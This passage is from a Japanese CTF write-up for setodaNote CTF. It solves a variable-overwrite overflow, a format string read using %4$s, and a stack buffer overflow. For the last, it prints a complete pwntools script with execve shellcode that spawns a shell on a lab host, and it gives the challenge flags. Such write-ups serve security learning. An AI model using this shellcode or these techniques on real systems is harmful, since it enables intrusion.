    printf(" ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~\n");    
    printf("\n");
    
    printf("You'll need permission to pass. What's your name?\n> ");
    scanf("%32[^\n]", name);
    if (strcmp(gate,"open")==0) {
        printFlag();
    }else{
        printf("Gate is %s.\n", gate);
        printf("Goodbay %s.\n", name);
    }
    return 0;
}

name変数に文字を入力することができ、gate変数の中身がopenならflagを表示してくれる。name変数の入力をgate変数に溢れさせるオーバーフローの問題である。

入力後に各変数の中身を表示してくれるため、適当に長い入力を行えば何文字からgate変数に入るかがわかる。試したところ27文字目からgate変数に入るため、続いてopenを入力して以下のようにflagを出せる。

実行結果

flag{Alohomora}

1989 (Pwn:200)

脆弱性を調査し、フラグを入手してください。

nc 10.1.1.10 13030

この設問では Linux ターミナルを使用します。
https://ctf.setodanote.net/webshell/

WebShellからnetcatでアクセスして解く問題。アクセスするとCWE-134のアスキーアートが出てくる。Format String Attackを使えということである。

flagが格納されているアドレスが提示されるため、任意のアドレスを表示させる方法を探すと、例えばこの辺( https://kusano-k.hatenadiary.com/entry/20140302/1393781714 )に記述がある。

(アドレス) %4$sで、stackにアドレス値を書き込んだあとに%4でアドレス値を読み出して$sで中身を表示させる。ASCIIコードで表現できるflagアドレスが出やすいため、何度か試行してキーボード入力のみで解くことができる。

例えばflagのアドレスが0x56566060になったとき、リトルエンディアンで書いたASCIIコードの ``VV を入力すればメモリー上に0x56566060を作ることができる。

実行結果

flag{Homenum_Revelio_1989}

Shellcode (Pwn:300)

添付されたファイルを解析し、以下にアクセスしてフラグを入手してください。

nc 10.1.1.10 13050
https://ctf.setodanote.net/webshell/

WebShellからnetcatでアクセスして解く問題。バイナリが配布されるので、Ghidraで逆アセンブル及び逆コンパイルをかけてコードを確認する。

Ghidraによるmain関数の逆コンパイル

local_58のアドレスを表示したあと、この変数に入力値を格納している。文字数は80であることから、それ以上を入力すればバッファオーバーフローが起きるはず。

WebShell上でPythonファイルの作成及び実行、PwnToolsも使えるので、次のコードを書いた。内容としてはpicoCTF2021 Binary Gauntlet 1とほぼ一緒で、詳細はリンク先を参照。

from pwn import *

shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
padding = b''

#io = process("./shellcode")
io = remote('10.1.1.10',13050)
io.recvline()
line = io.recvline()
print(line)
addr = line[12:24]
print((int(addr,16)).to_bytes(8, "little"))
io.recvline()
io.recvline()
for i in range(88-len(shellcode)):
        padding += b'a'
payload = shellcode + padding + (int(addr,16)).to_bytes(8, "little")
print(payload)
io.sendline(payload)
io.interactive()

実行するとシェルを取ってflagを見つけることができる。

実行結果

flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}

Thank_you_for_playing (Misc:0)

全設問のフラグ獲得、おめでとうございます!

https://**********************************

素晴らしいCTFをありがとう。メジャーなジャンルの問題は定石通りで解ける入門向け難易度となっていたが、CTFではあまり見かけないOSINTジャンルが新鮮で、楽しく解くことができた。

flag{setodaNote_CTF}